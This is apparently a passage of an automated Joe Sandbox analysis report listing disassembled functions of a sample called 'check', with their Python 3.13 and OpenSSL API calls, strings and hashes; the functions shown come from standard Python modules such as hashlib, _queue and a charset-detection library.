Instruction ID: 36a3c6da4a62f4f32379333de18d4a4a12d446df0dd67821d667ddc84ac7a590
Opcode Fuzzy Hash: cef5f35ac38de6f06fe561f7fb930431100d9267ba80af263453378f98b747e9
Instruction Fuzzy Hash: 2D315065F09E0281FB248B15EC543BA73A0BF65BF1F488231C95E8A7A1DE6DE484CF50

Function 00007FF810C95E58 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95E7D
PyDict_GetItemWithError.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95E8A
PyErr_Occurred.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95E95
PyModule_GetState.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95EA3
PyErr_Format.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95EB7
PyUnicode_AsUTF8.PYTHON313(?,?,?,00007FF810C957A4), ref: 00007FF810C95ECD

Strings

Unsupported digestmod %R, xrefs: 00007FF810C95EAC

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: Err_Module_State$Dict_ErrorFormatItemOccurredUnicode_With
String ID: Unsupported digestmod %R
API String ID: 894184546-2483404930
Opcode ID: b32c407e931632d20676e7299f38be58aa233ca181775c419b420a053304d4e3
Instruction ID: 8e80f10e0540e3fa23333f5a649b18f5e9c5ae9ec701e697e94c86e29b9cc517
Opcode Fuzzy Hash: b32c407e931632d20676e7299f38be58aa233ca181775c419b420a053304d4e3
Instruction Fuzzy Hash: 1B0108E1B09E42C1EB549B96ED4423972A1BF58FE1F488634DD0E473A0EF2DE584CB00

Function 00007FF810C81290 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

PyErr_NewExceptionWithDoc.PYTHON313 ref: 00007FF810C812B5
PyModule_AddObjectRef.PYTHON313 ref: 00007FF810C812D1
PyType_FromModuleAndSpec.PYTHON313 ref: 00007FF810C812E8
PyModule_AddType.PYTHON313 ref: 00007FF810C812FC

Strings

_queue.Empty, xrefs: 00007FF810C812AB
Exception raised by Queue.get(block=0)/get_nowait()., xrefs: 00007FF810C8129E
Empty, xrefs: 00007FF810C812C7

Memory Dump Source

Source File: 0000001D.00000002.2001914623.00007FF810C81000.00000020.00000001.01000000.0000005B.sdmp, Offset: 00007FF810C80000, based on PE: true

Associated: 0000001D.00000002.2001845112.00007FF810C80000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2001976863.00007FF810C83000.00000002.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002038707.00007FF810C85000.00000004.00000001.01000000.0000005B.sdmpDownload File
Associated: 0000001D.00000002.2002106651.00007FF810C86000.00000002.00000001.01000000.0000005B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c80000_check.jbxd

Similarity

API ID: Module_$Err_ExceptionFromModuleObjectSpecTypeType_With
String ID: Empty$Exception raised by Queue.get(block=0)/get_nowait().$_queue.Empty
API String ID: 1138974572-1946099957
Opcode ID: cb71f23d822e58d876fea27eeeee2defbd097a2bab1af8156e03690b37b37965
Instruction ID: d7bed0a93aab18cb6b3c07e40b1f3fefb77fc341ba93b6072ca9c2dcd35ca1f9
Opcode Fuzzy Hash: cb71f23d822e58d876fea27eeeee2defbd097a2bab1af8156e03690b37b37965
Instruction Fuzzy Hash: C0019261709F4392EB048B29EC5453923A4AF49BF4B48A236CD1E47BA0EE2CE014EB04

Function 00007FF810C46EC0 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON313 ref: 00007FF810C46EEC
_Py_Dealloc.PYTHON313 ref: 00007FF810C46F15
_Py_Dealloc.PYTHON313 ref: 00007FF810C46F3E
_Py_Dealloc.PYTHON313 ref: 00007FF810C46F67
_Py_Dealloc.PYTHON313 ref: 00007FF810C46F90
_Py_Dealloc.PYTHON313 ref: 00007FF810C46FB2
_Py_Dealloc.PYTHON313 ref: 00007FF810C46FDB
_Py_Dealloc.PYTHON313 ref: 00007FF810C47004

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 88490b53210d8a038d8e89fe99ebf8cba60c1ce99954d77e01312eee4d0cfa05
Instruction ID: 0b1af9eeb6cdd9c347113d3e53e47149f94bb6ef8c6408ca4eb5ccfad854f9d3
Opcode Fuzzy Hash: 88490b53210d8a038d8e89fe99ebf8cba60c1ce99954d77e01312eee4d0cfa05
Instruction Fuzzy Hash: 2241C836909A41C1F7658F78DC5836836A0FF58BBDF140334CABA856D98F7E94898B42

Function 00007FF810C48480 Relevance: 12.1, APIs: 8, Instructions: 91threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON313 ref: 00007FF810C4848D
PyThreadState_Get.PYTHON313 ref: 00007FF810C48493
_Py_Dealloc.PYTHON313 ref: 00007FF810C484F4
_Py_Dealloc.PYTHON313 ref: 00007FF810C4851D
_Py_Dealloc.PYTHON313 ref: 00007FF810C48546
_Py_Dealloc.PYTHON313 ref: 00007FF810C4856F
_Py_Dealloc.PYTHON313 ref: 00007FF810C48591
_PyTrash_thread_destroy_chain.PYTHON313 ref: 00007FF810C485BE

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_thread_destroy_chain
String ID:
API String ID: 1450163949-0
Opcode ID: 9f9b7c4f2d578d4375bf4f511875516e6572ae11b2296d397e3e93956e92f287
Instruction ID: ee6b7e8b068e53014fb6823d3f228b38abf7d30570dc419a5d0f685741586a2b
Opcode Fuzzy Hash: 9f9b7c4f2d578d4375bf4f511875516e6572ae11b2296d397e3e93956e92f287
Instruction Fuzzy Hash: CB41D676A09E4281EB558F28DD5436D32A0FF54BB8F145335CA6A8A7E4CF7DE489CB00

Function 00007FF810C92700 Relevance: 12.1, APIs: 8, Instructions: 69COMMON

Download Yara Rule

APIs

EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FF810C9271C
EVP_MD_CTX_copy.LIBCRYPTO-3 ref: 00007FF810C9274F
EVP_MD_CTX_get0_md.LIBCRYPTO-3 ref: 00007FF810C9277C
EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FF810C92785
EVP_DigestFinal.LIBCRYPTO-3 ref: 00007FF810C92798
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FF810C927A9
_Py_strhex.PYTHON313 ref: 00007FF810C927B6
PyErr_NoMemory.PYTHON313 ref: 00007FF810C94F40

Memory Dump Source

Source File: 0000001D.00000002.2002247243.00007FF810C91000.00000020.00000001.01000000.0000005A.sdmp, Offset: 00007FF810C90000, based on PE: true

Associated: 0000001D.00000002.2002181590.00007FF810C90000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002310235.00007FF810C96000.00000002.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002377589.00007FF810C9B000.00000004.00000001.01000000.0000005A.sdmpDownload File
Associated: 0000001D.00000002.2002440876.00007FF810C9D000.00000002.00000001.01000000.0000005A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c90000_check.jbxd

Similarity

API ID: D_get_sizeDigestErr_FinalMemoryPy_strhexX_copyX_freeX_get0_mdX_new
String ID:
API String ID: 849097643-0
Opcode ID: d513ea03b71b670d74d196db2548aaccefd1c88a3ac57d7d04a9242951ae3963
Instruction ID: e99f801fc52a111a29b5b85bc1f512ce1020939ba55569d96d2da340d4296989
Opcode Fuzzy Hash: d513ea03b71b670d74d196db2548aaccefd1c88a3ac57d7d04a9242951ae3963
Instruction Fuzzy Hash: 2D3141A2A0CE82C1EB609BE1EC5527D6391FF88BE8F544235D98E477A5DF2CE444CB40

Function 00007FF810C4E8D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON313(?,?,?,?,?,00007FF810C4815E), ref: 00007FF810C4E966
PyLong_FromSsize_t.PYTHON313(?,?,?,?,?,00007FF810C4815E), ref: 00007FF810C4E9BB
PyObject_RichCompareBool.PYTHON313(?,?,?,?,?,00007FF810C4815E), ref: 00007FF810C4E9D2
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C4815E), ref: 00007FF810C4E9E8
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C4815E), ref: 00007FF810C4E9FC

Strings

ratio, xrefs: 00007FF810C4E97C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$BoolCompareErr_FromLong_Object_OccurredRichSsize_t
String ID: ratio
API String ID: 2538524772-4234197119
Opcode ID: 4ce17088b74ab938c856a640784ccc29794f47ab83106d03619ebab6b2b16241
Instruction ID: 6cb493f72d8949be47ee383ca4cdda4f4f23d99858d3e6e345c4c074dc5ff8c0
Opcode Fuzzy Hash: 4ce17088b74ab938c856a640784ccc29794f47ab83106d03619ebab6b2b16241
Instruction Fuzzy Hash: 3941A236A1CE4245E7619B19AC542B977A0BF64BF4F094330DE8D9A7E1DE3DE4828F00

Function 00007FF810C4FC40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON313(?,?,?,?,?,00007FF810C4918E), ref: 00007FF810C4FCD6
PyLong_FromSsize_t.PYTHON313(?,?,?,?,?,00007FF810C4918E), ref: 00007FF810C4FD2B
PyObject_RichCompareBool.PYTHON313(?,?,?,?,?,00007FF810C4918E), ref: 00007FF810C4FD42
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C4918E), ref: 00007FF810C4FD58
_Py_Dealloc.PYTHON313(?,?,?,?,?,00007FF810C4918E), ref: 00007FF810C4FD6C

Strings

ratio, xrefs: 00007FF810C4FCEC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Dealloc$BoolCompareErr_FromLong_Object_OccurredRichSsize_t
String ID: ratio
API String ID: 2538524772-4234197119
Opcode ID: 1b60443a630166fb8971651aede1ddb368fc785dcc95126883a0f1b7ad59143b
Instruction ID: 27caa127785f14c4ca3c7c7ebfe415e4f1d5664eb69182f9ea1a71d4c7a5e10b
Opcode Fuzzy Hash: 1b60443a630166fb8971651aede1ddb368fc785dcc95126883a0f1b7ad59143b
Instruction Fuzzy Hash: 2D31CF26E08E1741E7259F25AC082B963A1BF55BF5F084330DE5D8A7E1DE3CE4828F40

Function 00007FF810C469C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C469E2

Strings

int, xrefs: 00007FF810C46AD8
'SuspiciousRange' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C46A4C
attribute '_character_count' of 'SuspiciousRange' undefined, xrefs: 00007FF810C469D8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousRange' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuspiciousRange' undefined$int
API String ID: 1450464846-3882440367
Opcode ID: da6e3365da823b8bd7203db6c088abf43c6dc5afe11ee763b03f0c257230c58e
Instruction ID: 07a1494daa676dc8c2b35aadb16491916065140e1dd573c542233ec0faa69f2e
Opcode Fuzzy Hash: da6e3365da823b8bd7203db6c088abf43c6dc5afe11ee763b03f0c257230c58e
Instruction Fuzzy Hash: 8A318471B08D0281EF549B29EC5127923A1BF58BF4F484331EA5E8B7D9DF2CE4848B01

Function 00007FF810C47BF0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47C12

Strings

int, xrefs: 00007FF810C47D08
'SuperWeirdWordPlugin' object attribute '_buffer_glyph_count' cannot be deleted, xrefs: 00007FF810C47C7C
attribute '_buffer_glyph_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF810C47C08

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_buffer_glyph_count' cannot be deleted$attribute '_buffer_glyph_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-2790440157
Opcode ID: 4a634c131f4531db68dcd2f78cbc2381d4b798cc18257a803b985579fe502cc4
Instruction ID: 89db69b4dde92d4e2e79df8e1aff1dfa4674cacd84b220a6e2d24161c21e5a6a
Opcode Fuzzy Hash: 4a634c131f4531db68dcd2f78cbc2381d4b798cc18257a803b985579fe502cc4
Instruction Fuzzy Hash: 99315031F18D4281EF549B29EC952B92391BF54BF4F585331EA5E8B7D5DE2CE4848B00

Function 00007FF810C459F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45A12

Strings

int, xrefs: 00007FF810C45B08
'TooManyAccentuatedPlugin' object attribute '_accentuated_count' cannot be deleted, xrefs: 00007FF810C45A7C
attribute '_accentuated_count' of 'TooManyAccentuatedPlugin' undefined, xrefs: 00007FF810C45A08

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'TooManyAccentuatedPlugin' object attribute '_accentuated_count' cannot be deleted$attribute '_accentuated_count' of 'TooManyAccentuatedPlugin' undefined$int
API String ID: 1450464846-3693778415
Opcode ID: 812646b34b15e940eeb3052b9c28d22b11fb875c48c1256ac8aec2103f9fd5d9
Instruction ID: 34d67aaaa14ade9147d1ab59cd4a34273fc9fa82c7b6dce69f23aff009145ad1
Opcode Fuzzy Hash: 812646b34b15e940eeb3052b9c28d22b11fb875c48c1256ac8aec2103f9fd5d9
Instruction Fuzzy Hash: 3D315261B18D0241EF54DB29EC952B93361BF64BF4F984331EA5E8BBD5DE2CE4948B00

Function 00007FF810C473B0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C473D2

Strings

int, xrefs: 00007FF810C474C8
'SuperWeirdWordPlugin' object attribute '_bad_word_count' cannot be deleted, xrefs: 00007FF810C4743C
attribute '_bad_word_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF810C473C8

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_bad_word_count' cannot be deleted$attribute '_bad_word_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3520798986
Opcode ID: 0962bd143534bbe00e6745223b6ce58a4db27880669a42db27381f8d86c8f7d0
Instruction ID: 7ac92ebbf38c240bf910daf686cc502ef064580af25b98e50095fee62628839d
Opcode Fuzzy Hash: 0962bd143534bbe00e6745223b6ce58a4db27880669a42db27381f8d86c8f7d0
Instruction Fuzzy Hash: 0C318265B08D0281EF549B29EC552B927A1BF94BF4F485331EA5E8B7E5DE2CE4808F00

Function 00007FF810C47750 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C47772

Strings

attribute '_character_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FF810C47768
int, xrefs: 00007FF810C47868
'SuperWeirdWordPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C477DC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3920090044
Opcode ID: 5646d1feb8d56c216345ce10a4fbfeb34ca66dd5c8ed66b727b63ee6b3f1482a
Instruction ID: 3bc7960b80fee176bd9bdd2d84254739e2a04f3fd290a1dd0e9e31b5557a127f
Opcode Fuzzy Hash: 5646d1feb8d56c216345ce10a4fbfeb34ca66dd5c8ed66b727b63ee6b3f1482a
Instruction Fuzzy Hash: 8C316F35F08D0281EB559B29EC952B92391BF54BF0F985331EA5E8A7D5DE2CE494CB00

Function 00007FF810C45150 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C45172

Strings

int, xrefs: 00007FF810C45268
attribute '_symbol_count' of 'TooManySymbolOrPunctuationPlugin' undefined, xrefs: 00007FF810C45168
'TooManySymbolOrPunctuationPlugin' object attribute '_symbol_count' cannot be deleted, xrefs: 00007FF810C451DC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_symbol_count' cannot be deleted$attribute '_symbol_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-2291034628
Opcode ID: 5e215f85784cc72a8ecbeb550968a622e8bb1599f12aedb5e40439b863a44810
Instruction ID: 768715cfb961377cfff617f1f9729b2b3dfa6e1264d19521f9a46b763c1c7eaf
Opcode Fuzzy Hash: 5e215f85784cc72a8ecbeb550968a622e8bb1599f12aedb5e40439b863a44810
Instruction Fuzzy Hash: 10317461F18D0241EB549B69EC512793350BF65BF0F884331DA5E8A7D5DE6CE4858B00

Function 00007FF810C48950 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48972

Strings

int, xrefs: 00007FF810C48A68
'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count_final' cannot be deleted, xrefs: 00007FF810C489DC
attribute '_successive_upper_lower_count_final' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FF810C48968

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_successive_upper_lower_count_final' cannot be deleted$attribute '_successive_upper_lower_count_final' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-528010561
Opcode ID: 45e2372721287a30aae6148da3b5a55e1080b6591fee754aeb9e09491217b370
Instruction ID: 2459ed1d81fad759daebe81e53900cd277900936f775f129b4e93fd9e69824e4
Opcode Fuzzy Hash: 45e2372721287a30aae6148da3b5a55e1080b6591fee754aeb9e09491217b370
Instruction Fuzzy Hash: AB317221B18D0281EF549B29EC5127E2390FF54BF0F485331EA5E8A7D5DE6CE484CB00

Function 00007FF810C48F00 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C48F22

Strings

int, xrefs: 00007FF810C49018
attribute '_character_count' of 'ArabicIsolatedFormPlugin' undefined, xrefs: 00007FF810C48F18
'ArabicIsolatedFormPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FF810C48F8C

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'ArabicIsolatedFormPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'ArabicIsolatedFormPlugin' undefined$int
API String ID: 1450464846-3970786323
Opcode ID: 4081e57780869081c05361fb3799ee7f75afbad43575475e9e598a1009b201f0
Instruction ID: 13920314b742705160f3e46092e09a47819a3f16a4fd8f557411043d8e12c6a5
Opcode Fuzzy Hash: 4081e57780869081c05361fb3799ee7f75afbad43575475e9e598a1009b201f0
Instruction Fuzzy Hash: 74316231B18D0281EF549B69EC552BA2391FF94BF0F585331EA5E8A7D5DE2CE489CB00

Function 00007FF810C46330 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FF810C46352

Strings

int, xrefs: 00007FF810C46448
attribute '_successive_count' of 'SuspiciousDuplicateAccentPlugin' undefined, xrefs: 00007FF810C46348
'SuspiciousDuplicateAccentPlugin' object attribute '_successive_count' cannot be deleted, xrefs: 00007FF810C463BC

Memory Dump Source

Source File: 0000001D.00000002.2001338780.00007FF810C41000.00000020.00000001.01000000.0000005D.sdmp, Offset: 00007FF810C40000, based on PE: true

Associated: 0000001D.00000002.2001277354.00007FF810C40000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001429552.00007FF810C55000.00000002.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001466920.00007FF810C5B000.00000004.00000001.01000000.0000005D.sdmpDownload File
Associated: 0000001D.00000002.2001527977.00007FF810C5F000.00000002.00000001.01000000.0000005D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff810c40000_check.jbxd

Similarity

API ID: Err_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_successive_count' cannot be deleted$attribute '_successive_count' of 'SuspiciousDuplicateAccentPlugin' undefined$int
API String ID: 1450464846-1864222365
Opcode ID: 109e5dcfff090a04254807079ca3cb9a238b06e1ba89256f40cea8c873da15af
Instruction ID: ee9c22515ec2dceee432c14421a2888782a5ccb319b0daa17baa79d7181aa2f3
Opcode Fuzzy Hash: 109e5dcfff090a04254807079ca3cb9a238b06e1ba89256f40cea8c873da15af
Instruction Fuzzy Hash: 05319221B18D4281EF54DB29EC612B92350BF58BF0F985331DA5E8B7E9DE2CE4808B01

Function 00007FF810C45CD0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 98COMMON

